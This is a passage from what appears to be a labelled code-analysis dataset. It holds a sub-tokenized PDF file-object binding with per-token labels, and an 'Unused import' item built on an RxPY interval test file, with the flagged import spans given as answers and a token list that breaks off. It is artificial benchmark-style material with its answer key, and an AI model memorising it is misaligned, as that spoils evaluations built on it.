",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "CC", "IT", "TF", "ax", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Launch", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Launch", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Launch", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "XF", "A", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "XF", "A", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "XF", "A", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FK", "ey", "word", "Count", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FK", "ey", "word", "Count", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Non", "\\u", "Ob", "fu", "scat", "ed", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Non", "\\u", "Ob", "fu", "scat", "ed", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Non", "\\u", "Ob", "fu", "scat", "ed", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Ob", "fu", "scat", "ed", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ob", "fu", "scat", "ed", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Ob", "fu", "scat", "ed", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FF", "ile", "Object", "Type_", "(_", "file", "\\u", "object_", "._", "File", "Object", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FF", "ile", "Object", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "PD", "FF", "ile", "Object", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", ",_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Metadata_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Metadata_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Meta", "data", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Version_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Version_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Version", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Indi", "rect", "\\u", "Objects_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Indi", "rect", "\\u", "Objects_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Indi", "rect", "\\u", "Object", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Tables_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Tables_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Cross", "\\u", "Reference", "\\u", "Table", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Trail", "ers_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Trail", "ers_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Trail", "ers", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "PD", "F", "\\u", "File", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "PD", "FF", "ile", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=", "root", "Ta", "g", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pretty", "\\u", "print", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Et", "ree_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "PD", "F", "\\u", "File", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "PD", "FF", "ile", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Element_", "=_", "root", "Obj_", "._", "to", "\\u", "etree_", "(_", "None_", ",_", "name\\u_", "=_", "root", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "etree", "\\u_", "._", "tostring_", "(_", "root", "Element_", ",_", "pretty", "\\u", "print_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "declaration_", "=_", "True_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", ",_", "root", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "String_", "(_", "in", "String_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "mix", "box_", "._", "vendor_", "._", "six_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "parse", "xml", "\\u_", "(_", "String", "IO_", "(_", "in", "String_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "PD", "F", "\\u", "File", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "PD", "FF", "ile", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=\"", "PD", "F", "\\u", "File", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ReactiveX/RxPY/tests/test_observable/test_interval.py
[ { "content": "import unittest\nfrom datetime import datetime, timedelta\n\nfrom rx import Observable\nfrom rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable\nfrom rx.disposables import Disposable, SerialDisposable\nfrom rx.subjects import Subject\n\non_next = ReactiveTest.on_next\non_completed = ReactiveTest.on_completed\non_error = ReactiveTest.on_error\nsubscribe = ReactiveTest.subscribe\nsubscribed = ReactiveTest.subscribed\ndisposed = ReactiveTest.disposed\ncreated = ReactiveTest.created\n\n\n# Helper function for raising exceptions within lambdas\n\n \n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RxException(Exception):\n pass", "metadata": "root.RxException", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def _raise(ex):\n raise RxException(ex)", "metadata": "root._raise", "header": "['module', '___EOS___']", "index": 20 }, { "content": "class TestTimeInterval(unittest.TestCase):\n\n\n\n", "metadata": "root.TestTimeInterval", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def test_interval_timespan_basic(self):\n\n scheduler = TestScheduler()\n\n def create():\n return Observable.interval(100, scheduler=scheduler)\n\n results = scheduler.start(create)\n results.messages.assert_equal(on_next(300, 0), on_next(400, 1), on_next(500, 2), on_next(600, 3), on_next(700, 4), on_next(800, 5), on_next(900, 6))", "metadata": "root.TestTimeInterval.test_interval_timespan_basic", "header": "['class', 'TestTimeInterval', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 24 }, { "content": " def test_interval_timespan_zero(self):\n scheduler = TestScheduler()\n\n def create():\n return Observable.interval(0, scheduler=scheduler)\n\n results = scheduler.start(create, disposed=210)\n results.messages.assert_equal(on_next(201, 0), on_next(202, 1), on_next(203, 2), on_next(204, 3), on_next(205, 4), on_next(206, 5), on_next(207, 6), on_next(208, 7), on_next(209, 8))", "metadata": "root.TestTimeInterval.test_interval_timespan_zero", "header": "['class', 'TestTimeInterval', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 34 }, { "content": " def test_interval_timespan_negative(self):\n scheduler = TestScheduler()\n def create():\n return Observable.interval(-1, scheduler=scheduler)\n\n results = scheduler.start(create, disposed=210)\n results.messages.assert_equal(on_next(201, 0), on_next(202, 1), on_next(203, 2), on_next(204, 3), on_next(205, 4), on_next(206, 5), on_next(207, 6), on_next(208, 7), on_next(209, 8))", "metadata": "root.TestTimeInterval.test_interval_timespan_negative", "header": "['class', 'TestTimeInterval', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 43 }, { "content": " def test_interval_timespan_disposed(self):\n scheduler = TestScheduler()\n\n def create():\n return Observable.interval(1000, scheduler=scheduler)\n\n results = scheduler.start(create)\n results.messages.assert_equal()", "metadata": "root.TestTimeInterval.test_interval_timespan_disposed", "header": "['class', 'TestTimeInterval', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_interval_timespan_observer_throws(self):\n scheduler = TestScheduler()\n xs = Observable.interval(1, scheduler=scheduler)\n xs.subscribe(lambda x: _raise(\"ex\"))\n\n with self.assertRaises(RxException):\n scheduler.start()", "metadata": "root.TestTimeInterval.test_interval_timespan_observer_throws", "header": "['class', 'TestTimeInterval', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 60 } ]
[ { "span": "from rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 76 }, { "span": "from rx.disposables import Disposable, SerialDisposable", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 55 }, { "span": "from rx.subjects import Subject", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", ",_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rx_", "import_", "Observable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "testing_", "import_", "Test", "Scheduler_", ",_", "React", "ive", "Test_", ",_", "is", "\\u", "prime_", ",_", "Moc", "k", "Dispo", "sab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "dispo", "sab", "les_", "import_", "Dispo", "sab", "le_", ",_", "Ser", "ial", "Dispo", "sab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "subjects_", "import_", "Subject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "completed_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "completed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "error_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribe_", "=_", "React", "ive", "Test_", "._", "subscribe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribed", "_", "=_", "React", "ive", "Test_", "._", "subscribed", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dispose", "d_", "=_", "React", "ive", "Test_", "._", "dispose", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "React", "ive", "Test_", "._", "created_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Help", "er", " ", "function", " ", "for", " ", "rais", "ing", " ", "exception", "s", " ", "within", " ", "lambda", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Rx", "Exception_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "raise_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Rx", "Exception_", "(_", "ex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Time", "Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Time", "Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "interval", "\\u", "timespan", "\\u", "basic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Observable_", "._", "interval_", "(_", "100_", ",_", "scheduler_", "=_", "scheduler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "create_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "300_", ",_", "0_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "900_", ",_", "6_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Time", "Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "interval", "\\u", "timespan", "\\u", "zero_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Observable_", "._", "interval_", "(_", "0_", ",_", "scheduler_", "=_", "scheduler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "create_", ",_", "dispose", "d_", "=_", "210_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "201_", ",_", "0_", ")_", ",_", "on", "\\u", "next_", "(_", "202_", ",_", "1_", ")_", ",_", "on", "\\u", "next_", "(_", "203_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "204_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "205_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "206_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "207_", ",_", "6_", ")_", ",_", "on", "\\u", "next_", "(_", "208_", ",_", "7_", ")_", ",_", "on", "\\u", "next_", "(_", "209_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Time", 